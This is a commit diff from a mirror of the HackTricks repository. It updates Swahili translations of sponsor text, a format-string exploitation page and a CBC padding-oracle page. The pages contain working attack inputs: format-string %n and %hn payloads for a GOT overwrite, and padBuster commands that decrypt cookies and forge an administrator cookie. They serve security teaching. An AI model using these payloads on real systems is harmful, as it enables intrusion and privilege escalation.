mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'binary-exploitation/format-strings/README.md',
This commit is contained in:
parent
215f9f1f69
commit
35b2290049
43 changed files with 1249 additions and 842 deletions
22
README.md
22
README.md
|
@ -42,7 +42,7 @@ Unaweza kuangalia **blogu** yao katika [**https://blog.stmcyber.com**](https://b
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** ni **jukwaa nambari moja** la udukuzi wa kimaadili na **bug bounty** barani **Ulaya**.
|
||||
**Intigriti** ni **jukwaa la udukuzi wa kimaadili na bug bounty nambari moja barani Ulaya.**
|
||||
|
||||
**Nasaha ya bug bounty**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la kiwango cha juu lililotengenezwa na hackers, kwa hackers**! Jiunge nasi katika [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**!
|
||||
|
||||
|
@ -55,7 +55,7 @@ Unaweza kuangalia **blogu** yao katika [**https://blog.stmcyber.com**](https://b
|
|||
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kujiendesha** kwa urahisi kwa kutumia zana za jamii zenye **maendeleo zaidi** duniani.
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kujiendesha kiotomatiki** kwa urahisi kwa kutumia zana za jamii zenye **maendeleo zaidi** duniani.
|
||||
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
|
@ -77,14 +77,16 @@ Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serve
|
|||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Zana muhimu za kupima udukuzi
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Zana muhimu za kupenya
|
||||
|
||||
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & kupima udukuzi**. Fanya pentest kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyotoka kwenye recon hadi ripoti. Hatubadilishi pentesters - tunaunda zana maalum, moduli za kugundua na kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kubaini uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha hadhi, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
\
|
||||
|
||||
|
||||
{% endembed %}
|
||||
|
||||
|
@ -94,12 +96,12 @@ Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serve
|
|||
|
||||
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** inatoa APIs za haraka na rahisi za wakati halisi ili **kupata matokeo ya injini za utafutaji**. Wanakusanya data kutoka kwa injini za utafutaji, kushughulikia proxies, kutatua captchas, na kuchambua data yote yenye muundo wa tajiri kwa ajili yako.
|
||||
**SerpApi** inatoa APIs za wakati halisi kwa urahisi na haraka ili **kupata matokeo ya injini za utafutaji**. Wanakusanya data kutoka kwa injini za utafutaji, kushughulikia proxies, kutatua captchas, na kuchambua data zote zenye muundo wa kina kwa ajili yako.
|
||||
|
||||
Usajili wa moja ya mipango ya SerpApi unajumuisha ufikiaji wa zaidi ya APIs 50 tofauti za kukusanya data kutoka kwa injini tofauti za utafutaji, ikiwa ni pamoja na Google, Bing, Baidu, Yahoo, Yandex, na zaidi.\
|
||||
Tofauti na watoa huduma wengine, **SerpApi haisafishi tu matokeo ya asili**. Majibu ya SerpApi mara kwa mara yanajumuisha matangazo yote, picha na video za ndani, grafu za maarifa, na vipengele na sifa nyingine zilizopo katika matokeo ya utafutaji.
|
||||
|
||||
Wateja wa sasa wa SerpApi ni pamoja na **Apple, Shopify, na GrubHub**.\
|
||||
Wateja wa sasa wa SerpApi ni **Apple, Shopify, na GrubHub**.\
|
||||
Kwa maelezo zaidi angalia [**blogu**](https://serpapi.com/blog/)**,** au jaribu mfano katika [**sehemu yao ya majaribio**](https://serpapi.com/playground)**.**\
|
||||
Unaweza **kuunda akaunti ya bure** [**hapa**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
|
@ -111,9 +113,9 @@ Unaweza **kuunda akaunti ya bure** [**hapa**](https://serpapi.com/users/sign\_up
|
|||
|
||||
[**WebSec**](https://websec.nl) ni kampuni ya kitaalamu ya usalama wa mtandao iliyo na makao yake nchini **Amsterdam** ambayo inasaidia **kulinda** biashara **duniani kote** dhidi ya vitisho vya hivi karibuni vya usalama wa mtandao kwa kutoa **huduma za usalama wa mashambulizi** kwa njia ya **kisasa**.
|
||||
|
||||
WebSec ni **kampuni ya usalama ya kila kitu** ambayo inamaanisha wanafanya kila kitu; Pentesting, **Ukaguzi wa** Usalama, Mafunzo ya Uelewa, Kampeni za Phishing, Mapitio ya Kanuni, Maendeleo ya Utekelezaji, Utaalamu wa Usalama wa Kukodisha na mengi zaidi.
|
||||
WebSec ni kampuni ya **usalama wa kila kitu** ambayo inamaanisha wanafanya kila kitu; Pentesting, **Ukaguzi wa** Usalama, Mafunzo ya Uelewa, Kampeni za Phishing, Mapitio ya Kanuni, Maendeleo ya Utekelezaji, Utaalamu wa Usalama wa Kukodisha na mengi zaidi.
|
||||
|
||||
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa sekta WebSec ni **na uhakika sana katika ujuzi wao**, hadi kiwango kwamba **wanahakikishia matokeo bora**, inasema kwenye tovuti yao "**Ikiwa hatuwezi kuikabili, Hupaswi kulipa!**". Kwa maelezo zaidi angalia [**tovuti yao**](https://websec.nl/en/) na [**blogu**](https://websec.nl/blog/)!
|
||||
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa sekta WebSec ni **na uhakika sana katika ujuzi wao**, hadi kiwango ambacho **wanahakikishia matokeo bora**, inasema kwenye tovuti yao "**Ikiwa hatuwezi kuikabili, Hupaswi kulipa!**". Kwa maelezo zaidi angalia [**tovuti yao**](https://websec.nl/en/) na [**blogu**](https://websec.nl/blog/)!
|
||||
|
||||
Mbali na hayo WebSec pia ni **mshabiki aliyejitolea wa HackTricks.**
|
||||
|
||||
|
|
|
@ -15,13 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
||||
## Basic Information
|
||||
|
||||
Katika C **`printf`** ni kazi inayoweza kutumika **kuchapisha** maandiko fulani. **Parameta ya kwanza** ambayo kazi hii inatarajia ni **maandishi halisi yenye waandishi wa fomati**. **Parameta zinazofuata** zinazotarajiwa ni **thamani** za **kuchukua nafasi** ya **waandishi wa fomati** kutoka kwa maandiko halisi.
|
||||
Katika C **`printf`** ni kazi inayoweza kutumika **kuchapisha** maandiko fulani. **Parameta ya kwanza** ambayo kazi hii inatarajia ni **maandishi halisi yenye waandishi wa fomati**. **Parameta zinazofuata** zinazotarajiwa ni **thamani** za **kuchukua nafasi** waandishi wa fomati kutoka kwa maandiko halisi.
|
||||
|
||||
Wakazi wengine walio hatarini ni **`sprintf()`** na **`fprintf()`**.
|
||||
Kazi nyingine zenye udhaifu ni **`sprintf()`** na **`fprintf()`**.
|
||||
|
||||
Ukatili unatokea wakati **maandishi ya mshambuliaji yanapotumika kama hoja ya kwanza** kwa kazi hii. Mshambuliaji ataweza kuunda **ingizo maalum linalotumia** uwezo wa **printf format** kusoma na **kuandika data yoyote katika anwani yoyote (inasomeka/inaandikwa)**. Kuwa na uwezo wa namna hii **kutekeleza msimbo wowote**.
|
||||
Udhaifu huu unatokea wakati **maandishi ya mshambuliaji yanapotumika kama hoja ya kwanza** kwa kazi hii. Mshambuliaji ataweza kuunda **ingizo maalum linalotumia** uwezo wa **printf format** kusoma na **kuandika data yoyote katika anwani yoyote (inasomeka/inaandikwa)**. Kwa njia hii, kuwa na uwezo wa **kutekeleza msimbo wowote**.
|
||||
|
||||
#### Formatters:
|
||||
```bash
|
||||
|
@ -47,7 +54,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
|
|||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
* Na Hoja za Kutokuwepo:
|
||||
* Na Hoja Zinazokosekana:
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
|
@ -149,24 +156,24 @@ Kusoma kwa bahati kunaweza kuwa na manufaa kwa:
|
|||
|
||||
## **Kuandika kwa Bahati**
|
||||
|
||||
Formatter **`%<num>$n`** **inaandika** **idadi ya bytes zilizandikwa** katika **anwani iliyoonyeshwa** katika param ya \<num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kadri atakavyo kwa printf, ataweza kufanya **`%<num>$n`** kuandika nambari isiyo na mipaka katika anwani isiyo na mipaka.
|
||||
Formatter **`%<num>$n`** **inaandika** **idadi ya bytes zilizandika** katika **anwani iliyoonyeshwa** katika param ya \<num> kwenye stack. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kadri atakavyo kwa printf, atakuwa na uwezo wa kufanya **`%<num>$n`** kuandika nambari ya bahati katika anwani ya bahati.
|
||||
|
||||
Kwa bahati, kuandika nambari 9999, si lazima kuongeza 9999 "A"s kwenye ingizo, ili kufanya hivyo inawezekana kutumia formatter **`%.<num-write>%<num>$n`** kuandika nambari **`<num-write>`** katika **anwani inayotolewa na nafasi ya `num`**.
|
||||
Kwa bahati nzuri, kuandika nambari 9999, si lazima kuongeza 9999 "A"s kwenye ingizo, ili kufanya hivyo inawezekana kutumia formatter **`%.<num-write>%<num>$n`** kuandika nambari **`<num-write>`** katika **anwani inayotolewa na nafasi ya `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Hata hivyo, kumbuka kwamba kawaida ili kuandika anwani kama `0x08049724` (ambayo ni nambari KUBWA kuandika mara moja), **inatumika `$hn`** badala ya `$n`. Hii inaruhusu **kuandika tu Bytes 2**. Kwa hivyo operesheni hii inafanywa mara mbili, moja kwa ajili ya 2B za juu za anwani na nyingine kwa ajili ya zile za chini.
|
||||
Hata hivyo, kumbuka kwamba kawaida ili kuandika anwani kama `0x08049724` (ambayo ni nambari KUBWA kuandika mara moja), **inatumika `$hn`** badala ya `$n`. Hii inaruhusu **kuandika tu Bytes 2**. Kwa hivyo operesheni hii inafanywa mara mbili, moja kwa ajili ya Bytes 2 za juu za anwani na nyingine kwa ajili ya zile za chini.
|
||||
|
||||
Kwa hivyo, udhaifu huu unaruhusu **kuandika chochote katika anwani yoyote (kuandika bila mpangilio).**
|
||||
|
||||
Katika mfano huu, lengo litakuwa **kuandika upya** **anwani** ya **kazi** katika jedwali la **GOT** ambalo litaitwa baadaye. Ingawa hii inaweza kutumia mbinu nyingine za kuandika bila mpangilio ili kutekeleza:
|
||||
Katika mfano huu, lengo litakuwa **kufuta** **anwani** ya **kazi** katika jedwali la **GOT** ambalo litaitwa baadaye. Ingawa hii inaweza kutumia mbinu nyingine za kuandika bila mpangilio ili kutekeleza:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Tutakuwa **tukiandika upya** **kazi** ambayo **inapokea** **hoja** zake kutoka kwa **mtumiaji** na **kuielekeza** kwa **`system`** **kazi**.\
|
||||
Tuta **futa** **kazi** ambayo **inapokea** **hoja** zake kutoka kwa **mtumiaji** na **kuielekeza** kwa **kazi ya `system`**.\
|
||||
Kama ilivyotajwa, kuandika anwani, kawaida hatua 2 zinahitajika: Unap **andika kwanza Bytes 2** za anwani na kisha zile nyingine 2. Ili kufanya hivyo **`$hn`** inatumika.
|
||||
|
||||
* **HOB** inaitwa kwa Bytes 2 za juu za anwani
|
||||
|
@ -190,7 +197,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
|||
|
||||
### Pwntools Template
|
||||
|
||||
Unaweza kupata **templat** ya kuandaa exploit kwa aina hii ya udhaifu katika:
|
||||
Unaweza kupata **kigezo** cha kuandaa exploit kwa aina hii ya udhaifu katika:
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
|
@ -229,14 +236,18 @@ Inawezekana kutumia vitendo vya kuandika vya udhaifu wa format string ili **kuan
|
|||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 bit, relro, no canary, nx, no pie, format string kuandika anwani `fflush` na kazi ya ushindi (ret2win)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32 bit, relro, no canary, nx, no pie, format string kuandika anwani ndani ya main katika `.fini_array` (ili mtiririko urudi nyuma mara moja zaidi) na kuandika anwani kwa `system` katika meza ya GOT ikielekeza kwa `strlen`. Wakati mtiririko unaporudi kwenye main, `strlen` inatekelezwa kwa pembejeo ya mtumiaji na ikielekeza kwa `system`, itatekeleza amri zilizopitishwa.
|
||||
* 32 bit, relro, no canary, nx, no pie, format string kuandika anwani ndani ya main katika `.fini_array` (ili mtiririko urudi nyuma mara moja zaidi) na kuandika anwani kwa `system` katika jedwali la GOT linaloelekeza kwa `strlen`. Wakati mtiririko unaporudi kwenye main, `strlen` inatekelezwa kwa pembejeo ya mtumiaji na kuelekeza kwa `system`, itatekeleza amri zilizopitishwa.
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
|
|
|
@ -15,6 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## CBC - Cipher Block Chaining
|
||||
|
||||
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
|
||||
|
@ -45,9 +49,9 @@ Note how in the last example the **last block was full so another one was genera
|
|||
|
||||
## Padding Oracle
|
||||
|
||||
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
|
||||
Wakati programu inapotafsiri data zilizofichwa, kwanza itatafsiri data; kisha itatoa padding. Wakati wa kusafisha padding, ikiwa **padding isiyo sahihi inasababisha tabia inayoweza kugundulika**, una **udhaifu wa padding oracle**. Tabia inayoweza kugundulika inaweza kuwa **kosa**, **ukosefu wa matokeo**, au **jibu lenye mwendo polepole**.
|
||||
|
||||
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
|
||||
Ikiwa unagundua tabia hii, unaweza **kufungua data iliyofichwa** na hata **kuficha maandiko yoyote**.
|
||||
|
||||
### How to exploit
|
||||
|
||||
|
@ -61,23 +65,23 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
|
|||
```
|
||||
**Encoding 0** inamaanisha kwamba **base64** inatumika (lakini zingine zinapatikana, angalia menyu ya msaada).
|
||||
|
||||
Unaweza pia **kutumia udhaifu huu kuandika data mpya. Kwa mfano, fikiria kwamba maudhui ya cookie ni "**_**user=MyUsername**_**", kisha unaweza kubadilisha kuwa "\_user=administrator\_" na kuongeza mamlaka ndani ya programu. Unaweza pia kufanya hivyo ukitumia `paduster`ukitaja -plaintext** parameter:
|
||||
Unaweza pia **kutumia udhaifu huu kuandika data mpya. Kwa mfano, fikiria kwamba maudhui ya cookie ni "**_**user=MyUsername**_**", kisha unaweza kubadilisha kuwa "\_user=administrator\_" na kuongeza mamlaka ndani ya programu. Unaweza pia kufanya hivyo kwa kutumia `paduster`ukitaja -plaintext** parameter:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
Ikiwa tovuti ina udhaifu, `padbuster` itajaribu moja kwa moja kubaini wakati kosa la padding linapotokea, lakini unaweza pia kuonyesha ujumbe wa kosa hilo ukitumia **-error** parameter.
|
||||
Ikiwa tovuti ina udhaifu `padbuster` itajaribu moja kwa moja kubaini wakati kosa la padding linapotokea, lakini unaweza pia kuonyesha ujumbe wa kosa hilo ukitumia **-error** parameter.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
### Nadharia
|
||||
|
||||
Kwa **muhtasari**, unaweza kuanza kufungua data iliyosimbwa kwa kubashiri thamani sahihi ambazo zinaweza kutumika kuunda **paddings tofauti**. Kisha, shambulio la padding oracle litaanza kufungua byte kutoka mwisho hadi mwanzo kwa kubashiri ni ipi itakuwa thamani sahihi inayounda padding ya **1, 2, 3, n.k.**.
|
||||
Kwa **muhtasari**, unaweza kuanza kufungua data iliyosimbwa kwa kukisia thamani sahihi ambazo zinaweza kutumika kuunda **paddings tofauti**. Kisha, shambulio la padding oracle litaanza kufungua byte kutoka mwisho hadi mwanzo kwa kukisia ni ipi itakuwa thamani sahihi inayounda padding ya **1, 2, 3, n.k.**.
|
||||
|
||||
![](<../.gitbook/assets/image (561).png>)
|
||||
|
||||
Fikiria una maandiko yaliyosimbwa yanayochukua **blocks 2** yaliyoundwa na byte kutoka **E0 hadi E15**.\
|
||||
Ili **kufungua** **block** ya **mwisho** (**E8** hadi **E15**), block nzima inapita kupitia "block cipher decryption" ikizalisha **byte za kati I0 hadi I15**.\
|
||||
Hatimaye, kila byte ya kati inafanywa **XOR** na byte zilizopita zilizofichwa (E0 hadi E7). Hivyo:
|
||||
Hatimaye, kila byte ya kati inafanywa **XOR** na byte zilizopita zilizokuwa zimefungwa (E0 hadi E7). Hivyo:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
|
@ -87,13 +91,13 @@ Hatimaye, kila byte ya kati inafanywa **XOR** na byte zilizopita zilizofichwa (E
|
|||
|
||||
Sasa, inawezekana **kubadilisha `E7` hadi `C15` iwe `0x01`**, ambayo pia itakuwa padding sahihi. Hivyo, katika kesi hii: `\x01 = I15 ^ E'7`
|
||||
|
||||
Hivyo, kupata E'7, inawezekana **kuyakadiria I15**: `I15 = 0x01 ^ E'7`
|
||||
Hivyo, kupata E'7, inawezekana **kuhesabu I15**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
Ambayo inaturuhusu **kuyakadiria C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
Ambayo inaturuhusu **kuhesabu C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
Kujua **C15**, sasa inawezekana **kuyakadiria C14**, lakini wakati huu kwa kubashiri padding `\x02\x02`.
|
||||
Kujua **C15**, sasa inawezekana **kuhesabu C14**, lakini wakati huu kwa kuburuza padding `\x02\x02`.
|
||||
|
||||
Hii BF ni ngumu kama ile ya awali kwani inawezekana kukadiria `E''15` ambayo thamani yake ni 0x02: `E''7 = \x02 ^ I15` hivyo inahitajika tu kupata **`E'14`** inayozalisha **`C14` inayolingana na `0x02`**.\
|
||||
Hii BF ni ngumu kama ile ya awali kwani inawezekana kuhesabu `E''15` ambayo thamani yake ni 0x02: `E''7 = \x02 ^ I15` hivyo inahitajika tu kupata **`E'14`** inayozalisha **`C14` inayolingana na `0x02`**.\
|
||||
Kisha, fanya hatua hizo hizo kufungua C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**Fuata mnyororo huu hadi ufungue maandiko yote yaliyosimbwa.**
|
||||
|
@ -101,7 +105,7 @@ Kisha, fanya hatua hizo hizo kufungua C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`
|
|||
### Ugunduzi wa udhaifu
|
||||
|
||||
Jisajili na ujiandikishe na akaunti hii.\
|
||||
Ikiwa unafanya **kuingia mara nyingi** na kila wakati unapata **keki ile ile**, kuna uwezekano **kuna kitu** **sijakamilika** katika programu. **Keki inayotumwa nyuma inapaswa kuwa ya kipekee** kila wakati unapoingia. Ikiwa keki ni **daima** ile **ile**, kuna uwezekano itakuwa daima halali na hakuna **njia ya kuifuta**.
|
||||
Ikiwa unafanya **kuingia mara nyingi** na kila wakati unapata **keki ile ile**, kuna uwezekano wa **kitu** **kosi** katika programu. **Keki inayotumwa nyuma inapaswa kuwa ya kipekee** kila wakati unapoingia. Ikiwa keki ni **daima** ile **ile**, kuna uwezekano itakuwa daima halali na hakuna **njia ya kuifuta**.
|
||||
|
||||
Sasa, ikiwa unajaribu **kubadilisha** **keki**, unaweza kuona unapata **kosa** kutoka kwa programu.\
|
||||
Lakini ikiwa unafanya BF padding (ukitumia padbuster kwa mfano) unafanikiwa kupata keki nyingine halali kwa mtumiaji tofauti. Hali hii ina uwezekano mkubwa wa kuwa na udhaifu kwa padbuster.
|
||||
|
@ -110,17 +114,21 @@ Lakini ikiwa unafanya BF padding (ukitumia padbuster kwa mfano) unafanikiwa kupa
|
|||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,82 +1,86 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
Katika modi ya CBC **block iliyotangulia iliyofichwa hutumiwa kama IV** ya XOR na block inayofuata:
|
||||
